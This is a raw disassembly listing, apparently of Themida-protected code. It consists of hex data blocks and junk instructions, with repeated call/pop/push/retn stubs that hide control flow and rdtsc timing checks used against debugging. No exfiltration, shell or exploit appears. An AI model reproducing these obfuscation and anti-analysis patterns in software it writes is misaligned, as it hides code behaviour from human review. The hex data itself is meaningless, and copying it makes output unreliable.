dd 1FCD6AEh, 0A80F1995h, 99BD8307h, 7A834h, 115840Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0B58962C3h, 7A82C81h, 5A1BD83h, 0F0007A8h, 0E684h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 184A0A94h, 0BE662317h, 95FF06E9h, 7A83499h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 94C35242h, 0FC61D750h
dd 5DBD8BB4h, 0B07A80Eh, 8C840FC0h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 4C3C350h, 0A6C17A5Eh, 0E0DB6259h, 0C332BE66h, 4E4D8D8Dh
dd 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 0E03379C3h, 6E9h, 0C8455400h, 0B8F56F5Ch
dd 5, 0FFF18B66h, 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0EC8021DAh, 677A2C2Fh
dd 8166EEB4h, 83AB42CEh, 0A8326DBDh, 840F0007h, 59Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 5AC35646h, 7931ACBBh
dd 8E0FDC18h, 5, 10F406BFh, 0A1BD830Fh, 7A805h, 561840Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 3A8B8DC3h, 0FEE7FD95h, 0E92DC435h, 11h, 1B97B99Eh
dd 36742749h, 5A825259h, 1F29EF09h, 718D8DD9h, 6607A823h
dd 0C7CA71BEh, 0B27C8401h, 1810F44h, 0F5000000h, 0CFCB0181h
dd 8D291499h, 7A8103Dh, 340441C7h, 0E9CE706Bh, 13h, 52B6CE25h
dd 0BCDA8EE9h, 9606167Ch, 91287E6Eh, 814961BAh, 0D7100441h
dd 816631D6h, 6A9E4DCFh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 679504D0h, 49DD0A99h
dd 0F5BD0BA1h, 8D07A82Ch, 0A8237185h, 56006A07h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
dd 0D8BB36B6h, 89F179C8h, 0A8135985h, 0F539007h, 282h
dd 5F616000h, 0B70F9050h, 6D95FFF1h, 6A07A832h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 33D1C355h, 0A82235B5h, 718D8D07h, 0F07A823h, 1C7F0B7h
dd 0
; ---------------------------------------------------------------------------
xor [ebp+7A80FC5h], ebx
mov dword ptr [ecx+4], 0
add di, 0E9D1h
or eax, eax
jz loc_5BF9BB
cmc
lea ecx, [ebp+7A84E4Dh]
movsx edi, ax
mov eax, 5
push 0
push ebx
call sub_5BF964
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF964 proc near ; CODE XREF: Themida_:005BF95Cp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5BF964 endp
; ---------------------------------------------------------------------------
inc ebx
sbb eax, 0B3AA3A1Eh
cmp ecx, esp
mov edi, ecx
stc
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5BF98C
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF98C proc near ; CODE XREF: Themida_:005BF984p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5BF98C endp
; ---------------------------------------------------------------------------
dd 978AD21Bh, 0E8A1C2F2h, 0Dh, 9A99D798h, 0BD78E356h, 6B5BBAB3h
dd 0C459BECCh
; ---------------------------------------------------------------------------
or [esi+5Eh], al
loc_5BF9BB: ; CODE XREF: Themida_:005BF944j
lea ecx, [ebp+7A82371h]
push 0
push eax
call sub_5BF9CC
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BF9CC proc near ; CODE XREF: Themida_:005BF9C4p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5BF9CC endp
; ---------------------------------------------------------------------------
pop ss
scasd
fiadd word ptr [ecx+22E832D7h]
or bh, al
add [edx+esi*2-56h], edi
inc esp
mov [ebp+7A80441h], edx
add dword ptr [ecx], 1499CFCBh
mov edi, [ebp+7A818C5h]
add esi, 34A2DA05h
mov dword ptr [ecx+4], 0CE78753Ch
sub [ebp+7A81551h], eax
add dword ptr [ecx+4], 31D6D710h
mov [ebp+7A82675h], esi
push 0
xor di, 4B03h
lea eax, [ebp+7A82371h]
push 0
push eax
call sub_5BFA35
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFA35 proc near ; CODE XREF: Themida_:005BFA2Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5BFA35 endp
; ---------------------------------------------------------------------------
db 43h, 0FBh, 0BCh
dd 0E88280Fh, 858D0915h, 0F907A822h, 0E8535290h, 14h, 0ED02CD63h
dd 432C4657h, 44D0624Ch, 5074392Ch, 0DFE7C477h, 505F5E5Eh
dd 90FA8B66h, 0A7C68166h, 6D95FFF6h, 6A07A832h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 209DC357h, 6E2100F5h, 9CF68197h, 8D0917C5h, 0A823718Dh
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 25FE5795h, 0BEA5C74Eh, 65474619h, 1C7h
dd 0C7FC0000h, 441h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0BCB146C3h, 0BD89911Dh
dd 7A81DF9h, 840FC00Bh, 28h, 385BD8Bh, 8D8D07A8h, 7A84E4Dh
dd 0FD9BBF66h, 5B8h, 258D3100h, 0FF07A82Ah, 7355BFE1h
dd 8D0914D4h, 7A80EE9h, 23718D8Dh, 6A07A8h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 6E0D71C3h
dd 1C7716Bh, 54CA95A5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0AAC35646h, 0F05199ECh, 810CD5A8h, 99CFCB01h
dd 8CBF5314h, 5E16F736h, 690441C7h, 6ACE5F59h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0F55C350h, 1985h, 0DE800h, 0E0C0000h, 297BF4B1h, 75A47A93h
dd 9BB7D0Bh, 0A834DDBDh, 41815F07h, 0D6D71004h, 0FEB70F31h
dd 858D006Ah, 7A82371h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 6DC35040h, 66A30569h, 260EC681h, 13E950h
dd 0B310000h, 8F9C8FD9h, 7A0DC539h, 3C8B8F9Eh, 0A456A54Ch
dd 24048901h, 0EB19BBBFh, 12E911h, 0C31A0000h, 10909F53h
dd 0A6C7708h, 49CBC3D2h, 0AE67C4F7h, 326D95FFh, 6A07A8h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 0B58B5EC3h, 7A82DF1h, 23718D8Dh, 0BF6607A8h, 1C7EAC2h
dd 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5BFC8B
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFC8B proc near ; CODE XREF: Themida_:005BFC83p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 16h
inc ebx
push ebx
retn
sub_5BFC8B endp
; ---------------------------------------------------------------------------
pop esi
cmp al, 51h
mov [ebp+7A82CE1h], ecx
mov dword ptr [ecx+4], 0
push 0
push esi
call sub_5BFCB6
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFCB6 proc near ; CODE XREF: Themida_:005BFCAEp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_5BFCB6 endp
; ---------------------------------------------------------------------------
xor [ebx], ch
sbb ah, [ecx]
inc eax
test [ebp+2], esi
mov [ebp+7A82291h], edi
add esi, [ebp+7A8050Dh]
or eax, eax
jz loc_5BFD67
push 0
push eax
call sub_5BFCED
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFCED proc near ; CODE XREF: Themida_:005BFCE5p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5BFCED endp
; ---------------------------------------------------------------------------
mov dh, 0C9h
test ds:3585895Ch, esi
pop ss
test al, 7
lea ecx, [ebp+7A84E4Dh]
push 0
push eax
call sub_5BFD1A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFD1A proc near ; CODE XREF: Themida_:005BFD12p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
loc_5BFD28: ; CODE XREF: Themida_:005BFD30j
push eax
retn
sub_5BFD1A endp
; ---------------------------------------------------------------------------
dw 1F4h
; ---------------------------------------------------------------------------
sub eax, es:[eax-51h]
loope loc_5BFD28
cli
sbb [eax+5], bh
mov si, bx
mov di, 5D2Dh
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_5BFD4D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFD4D proc near ; CODE XREF: Themida_:005BFD45p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5BFD4D endp
; ---------------------------------------------------------------------------
db 0B1h, 0Eh, 0BCh
dd 2E56EF50h
db 26h, 0CAh, 0F9h
; ---------------------------------------------------------------------------
loc_5BFD67: ; CODE XREF: Themida_:005BFCDCj
add ecx, edx
jmp loc_5BEFE0
; ---------------------------------------------------------------------------
mov edi, [ebp+7A8312Dh]
cld
sub [ebp+7A80ED5h], edx
mov eax, ecx
push 0
push ecx
loc_5BFD80: ; CODE XREF: Themida_:005BFD9Aj
call sub_5BFD88
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BFD88 proc near ; CODE XREF: Themida_:loc_5BFD80p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5BFD88 endp
; ---------------------------------------------------------------------------
cmp al, ah
js short loc_5BFD80
retf 4EBh
; ---------------------------------------------------------------------------
align 10h
dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 881BC352h, 66FAD22Bh, 0D0EFCE81h
dd 5EFA8B53h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 0ECC35646h, 66A96A20h, 858DF28Bh, 7A80425h, 10E9h
dd 4622C300h, 0D08C8001h, 1419FBCEh, 0AC8264EAh, 5E5190CEh
dd 17800F50h, 56000000h, 0FE8h, 0DE6B3D00h, 910F765h, 8C0E41A5h
dd 3F3E9766h, 6A905E5Eh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 742AC355h, 95EE81CBh
dd 6A073733h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 11B826Dh, 0A831F195h, 6A006A07h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 0F1DCC357h, 61B533C3h, 0E907A81Eh, 7, 9E9F21B3h
dd 299B3D5Ah, 0A8181D8Dh, 7C858D07h, 6A07ABEBh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 8AC4C351h, 696C2C29h, 83845E46h, 0BD8B05C0h, 7A80845h
dd 50F2B70Fh, 4BBE66h, 6A240489h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C475C350h
dd 0CFE68166h, 0B5B5313Ch, 6A07A805h, 58D0F00h, 66000000h
dd 0D17EC781h, 0BEDE8166h, 6A006AC4h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 886DC350h
dd 79D3FE5Dh, 29D91E5Ah, 0A80D29B5h, 9BD2307h, 0FF07A806h
dd 0A81B3995h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 0E9DCC8C5h, 0Dh, 80D739E1h
dd 0BA68B082h, 7F7B282h, 3B9D8D31h, 0E907AB9Ah, 14h, 0D2829AADh
dd 32CF400Bh, 0F3367ED4h, 26D33D62h, 2CBF24C5h, 6AD3FFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 0ACCA08C3h, 73F31D56h, 8BF6363Bh, 0A818DDBDh, 0E585FF07h
dd 8907A80Eh, 0A82C2D8Dh, 793E907h, 0E80000h, 5D000000h
dd 0EB86ED81h, 0DCBF07ABh, 817C156Ch, 0A80B5DBDh, 7D007h
dd 1D860F00h, 0E8000001h, 11h, 90230BB3h, 0FAAFD314h, 950D6E77h
dd 8D0816F6h, 1DB589B0h, 5F07A810h, 29CDBD89h, 9D8B07A8h
dd 7A82361h, 100E381h, 0DE90000h, 73000000h, 9A1BB2BEh
dd 0B151C820h, 715A9A55h, 850FDB0Bh, 5Ch, 83FE8B66h, 0ABE936BDh
dword_5C005C dd 840F0007h, 0Fh, 1DF9B533h, 7BE907A8h, 66000000h, 0C7DD81BFh
; DATA XREF: ___:off_444E7Co
dd 0ABE93685h, 107h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 75BD8B78h, 0E907A832h
dd 46h, 995CC681h, 0BD8B6440h, 7A809E1h, 0E93685C7h, 7ABh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 8E2C23C3h, 645665C7h, 0BE2CC42Eh, 969EBD8h
dd 25A9BD89h, 9D8D07A8h, 7A82361h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 0F3C35141h, 17A159B7h, 8810F82h
dd 56000000h, 0BA9B58Bh, 815F07A8h, 0FFFEFF23h, 0FA8B66FFh
dd 6ADB8C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 0B7EFC357h, 5B295335h, 1EDF32F0h
dd 0F04C3F6h, 6984h, 0FFF98B00h, 0A8265195h, 0AD8D2907h
dd 9007A825h, 68B0Fh, 8D0F0000h, 0
; ---------------------------------------------------------------------------
push eax
push eax
push edx
js loc_5C0192
jmp loc_5C0192
; ---------------------------------------------------------------------------
dw 0EDA2h
dd 625408F7h, 21B9F048h, 7656E725h
db 83h, 0B6h
; ---------------------------------------------------------------------------
loc_5C0192: ; CODE XREF: Themida_:005C0177j
; Themida_:005C017Dj
rdtsc
push ebx
mov di, 0A27Ch
pop esi
pop edx
pop eax
nop
push 0
push esi
call sub_5C01A8
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C01A8 proc near ; CODE XREF: Themida_:005C01A0p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5C01A8 endp
; ---------------------------------------------------------------------------
dd 0C22879A1h, 3A59D89h, 0B6E907A8h, 29000003h, 0A81A558Dh
dd 6A00B007h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 3B2CC355h, 6A70E699h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0F9FCC357h, 0E4F28B6Eh, 5E971h, 27890000h, 0F7A1F34h
dd 0BD29D8B6h, 7A82C5Dh, 6BAh, 0ABBE6600h, 6AC38BF4h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 83F0C352h, 0BD8B5048h, 7A827C9h, 4E8C15Fh, 66F8BF0Fh
dd 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 326BF1C3h, 0D82B04F8h, 52506050h, 0D1FA78BAh
dd 5A310F73h, 50B96658h, 1C8961EBh, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 2C7D02BDh
dd 39B58956h, 5E07A835h, 0B5DB5FFh, 6A07A8h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 800F36C3h
dd 6, 34298D89h, 95FF07A8h, 7A80D21h, 189D8529h, 0BF0F07A8h
dd 6A00B0FBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 0C249C357h, 52F8D0C6h, 11830F2Bh
dd 60000000h, 0E9F18B66h, 7, 67242D03h, 6134B14Eh, 6A70E6h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
dd 4D5ACEC3h, 99D8962h, 0E407A817h, 50006A71h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0E2F02B76h
dd 3CAA60DBh, 0F6830F61h, 0F000001h, 183h, 0B60FF900h
dd 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0A9B39A64h, 6BA34h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7F2047C3h
dd 4D3DB53h, 6673F2EEh, 0C38BF38Bh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 89C35242h, 8B5D1C9Eh, 0A82895B5h
dd 4E8C107h, 0C3BF0F60h, 66611AB3h, 6AE2F7h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0D4D2F5C3h
dd 8722CA5Eh, 0B58BA660h, 7A826F5h, 0B52BD82Bh, 7A82AE1h
dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 0D8E669CCh, 8949008Dh, 0A808198Dh, 0FD82B07h
dd 10888h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 0E4E801DEh, 0F681EF7Ah, 63B9322h
dd 7E9h, 979DFB00h, 0CE52EDDFh, 7B9h, 91BD8B00h, 8307A807h
dd 6A00C1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 384E7CC3h, 0B5898267h, 7A80521h, 860FD93Bh
dd 99h, 0D98C66F9h, 2B21B58Bh, 0C1F607A8h, 84840F04h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 0CA5AC355h, 0B8C0Fh, 6E90000h, 18000000h
dd 5E1FB864h, 5195FFA3h, 6007A826h, 0BB82D080h, 0ABE10E2h
dd 8E961h, 0A2740000h, 9344D550h, 6A5B9FA7h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 2BC8C351h, 0F7BF0FC3h, 8343Dh, 0C860F00h, 66000000h
dd 0E91C0FBEh, 5, 8BFA8B66h, 8BC38BC0h, 0FFBF0FD8h, 286985C7h
dd 8FD107A8h, 6A18BDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 160424h, 57470000h, 0A2361FC3h, 68D0Fh, 0EF810000h
dd 0CB515FEh, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 1AAD7FC3h, 0B58BD5D3h, 7A8309Dh
dd 0B5DBD81h, 7D007A8h, 850F0000h, 2Ch, 85FFF18Bh, 7A80B5Dh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0E6C35343h
dd 8D010A77h, 7A825D9h, 0B5DB5FFh, 6A07A8h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 140424h, 51410000h, 2DBE0DC3h
dd 0FF5C57FCh, 0A80D2195h, 21B58907h, 9007A827h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6EC35242h, 0DAB6C610h
dd 0BD8BAF94h, 7A80CF5h, 0F4EABF66h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 9AC35545h, 8BCA91D8h, 8E7B4329h
dd 7DBD8BD4h, 6607A80Ah, 0DAEAC681h, 9D89F28Bh, 7A80581h
dd 0ADBD8Bh, 816607A8h, 6AEDF1DEh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0B113C355h
dd 8B666047h, 0A80511B5h, 6D858907h, 6A07A831h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 2DF4C357h, 0BF66BFBFh, 0B70F313Fh, 0B9B58BF3h, 8107A832h
dd 0E88F0AC6h, 52006A30h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 0ADCA6BE9h, 7C4F48F7h
dd 0AE9C93Bh, 0AA000000h, 16454264h, 6600049Dh, 0F894E983h
dd 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0B90B51C3h, 5AD351FAh, 0E09DEFBFh, 0EBC18B79h
dd 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 25858DB2h, 8B07A804h, 0A808B5BDh
dd 9E89007h, 5D000000h, 130EDE52h, 4FCA3D83h, 5E860h, 974B0000h
dd 5B368ECDh, 5F61C38Bh, 0FDBF6650h, 0BE66902Bh, 6A1C15h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 45C35242h
dd 0AF2D24C3h, 6AF78B74h, 55B52300h, 8D07A80Ch, 0ABF43985h
dd 0F5BBF07h, 958939B5h, 7A834DDh, 8905C083h, 0A823F98Dh
dd 0BB605007h, 51D7428Eh, 89611CB6h, 7E92404h, 0F7000000h
dd 6FFD4DB7h, 6A226Ch, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 3403FBC3h, 0D333920Bh
dd 0BD8B885Ch, 7A81511h, 1B3995FFh, 0B50907A8h, 7A80E3Dh
dd 23F98589h, 9D8D07A8h, 7AB9A3Bh, 0E9FAB70Fh, 0Bh, 28EC2B22h
dd 8770B8FFh, 0FF8D329Eh, 898589D3h, 0FF07A80Ah, 0A80EE585h
dd 9CC9BE07h, 2AE978DEh, 0E8000008h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7ABF443h
push 0
push ecx
call sub_5C08BE
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C08BE proc near ; CODE XREF: Themida_:005C08B6p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_5C08BE endp
; ---------------------------------------------------------------------------
xor eax, 0DB1B7972h
sbb ecx, ds:0B58B1880h
icebp
add al, 0A8h
pop es
cmp dword ptr [ebp+7A80B5Dh], 7D0h
jbe loc_5C09FF
push 0
push edi
call sub_5C08F8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C08F8 proc near ; CODE XREF: Themida_:005C08F0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5C08F8 endp
; ---------------------------------------------------------------------------
dd 0FE0F62C5h, 0C2D223ADh, 59B50941h, 8B07A823h, 0A805019Dh
dd 0E38107h, 8B000001h, 0A80F21BDh, 0FDB0B07h, 6585h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 6E3A9AB5h, 0D5B5015Ah, 8307A804h, 0ABF318BDh, 840F0007h
dd 5, 3DE9h, 1885C700h, 107ABF3h, 0E9000000h, 2Eh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 13C35242h, 85C79AC3h
dd 7ABF318h, 0
; ---------------------------------------------------------------------------
sub [ebp+7A823B5h], eax
lea ebx, [ebp+7A80501h]
push 0
push edi
call sub_5C09B7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C09B7 proc near ; CODE XREF: Themida_:005C09AFp
arg_4 = dword ptr 8
pop edi
loc_5C09B8: ; CODE XREF: Themida_:005C0A32j
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5C09B7 endp
; ---------------------------------------------------------------------------
mov word ptr [ecx+9E9h], ds
add [edi-18h], dh
or al, [esi-47h]
scasd
rcl ch, 74h
and dword ptr [ebx], 0FFFFFEFFh
push 0
push esi
call sub_5C09E8
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C09E8 proc near ; CODE XREF: Themida_:005C09E0p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5C09E8 endp
; ---------------------------------------------------------------------------
dd 0C283E288h
db 0C8h, 63h, 94h
; ---------------------------------------------------------------------------
loc_5C09FF: ; CODE XREF: Themida_:005C08E7j
mov bx, ds
jb $+6
and edi, [ebp+7A83121h]
test bl, 4
jz loc_5C0A87
push 0
push eax
call sub_5C0A22
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0A22 proc near ; CODE XREF: Themida_:005C0A1Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5C0A22 endp
; ---------------------------------------------------------------------------
jmp short loc_5C09B8
; ---------------------------------------------------------------------------
dd 6232A5F0h, 0BF6670C6h, 95FFAA64h, 7A82651h, 10E9h, 5C062C00h
dd 38CB444Dh, 0F0C21B7Ah, 7D309FB3h, 4895082h, 57006A24h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0B6785661h, 0A7E4054h, 2CF58529h
; ---------------------------------------------------------------------------
test al, 7
clc
loc_5C0A87: ; CODE XREF: Themida_:005C0A11j
jmp loc_5C0ED7
; ---------------------------------------------------------------------------
mov edi, [ebp+7A81321h]
mov al, 0
push 0
push edi
call sub_5C0A9F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C0A9F proc near ; CODE XREF: Themida_:005C0A97p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5C0A9F endp
; ---------------------------------------------------------------------------
db 0C0h
dd 6E37A974h, 1143DFCDh, 70E6F28Bh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 0FFC35040h, 7FF2A20Eh, 71E4F475h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 3EC35343h
dd 0AEE61765h, 66144765h, 0F652ABEh, 0E960D8B6h, 7, 0D0B5E888h
dd 0F2BD531h, 685h, 870F00h, 61000000h, 6BAh, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 2D26ABD6h, 6894AD29h, 7C4BE66h, 6AC38Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 920DEDC3h
dd 910D92B5h, 8E89725h, 6B000000h, 0E110DFE4h, 0E9A43191h
dd 13h, 2247D36Ch, 94B4E5E2h, 7EC397D1h, 175A382Bh, 5F621C75h
dd 2B04E8C1h, 0A83329BDh, 0E2F76607h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 68C35242h, 99D8B60h, 6107A832h
dd 0BE66D82Bh, 0E68145ECh, 210B7DD6h, 11E993h, 0D8D50000h
dd 0AD53B9D2h, 0CE5304E6h, 0BD00F74h, 508E4D4Eh, 0FF78B93h
dd 0A8Ch, 9D896000h, 7A80FD1h, 0FF61DA8Bh, 0A80B5DB5h
dd 0A9BD8B07h, 0FF07A825h, 0A80D2195h, 199D8907h, 0B007A81Bh
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 0E69C2A82h, 0BE66FC70h, 71E4BA9Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 5DC35343h, 4DF57707h
dd 0A4E0ECC3h, 3830F1Bh, 66000000h, 613CFE8Bh, 25D830Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 0BD8BF5C3h, 7A82C6Dh, 6AD8B60Fh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 3E53C353h, 812417C3h, 0BEB93D00h, 63423F3Ah, 1E05B531h
dd 6BA07A8h, 0E8000000h, 10h, 95F7D04Bh, 0FA54C0A8h, 0D52B31AEh
dd 851D88ADh, 7D68166h, 8BF55E90h, 4E8C1C3h, 821B58Bh
dd 10E907A8h, 0A1000000h, 0F0EF1AD1h, 0A7D421E6h, 0C25AD506h
dd 66DE84F9h, 9D89E2F7h, 7A80041h, 0B503D82Bh, 7A82851h
dd 0E958F78Bh, 13h, 0BBA0417Fh, 0AEB28392h, 57D7D639h
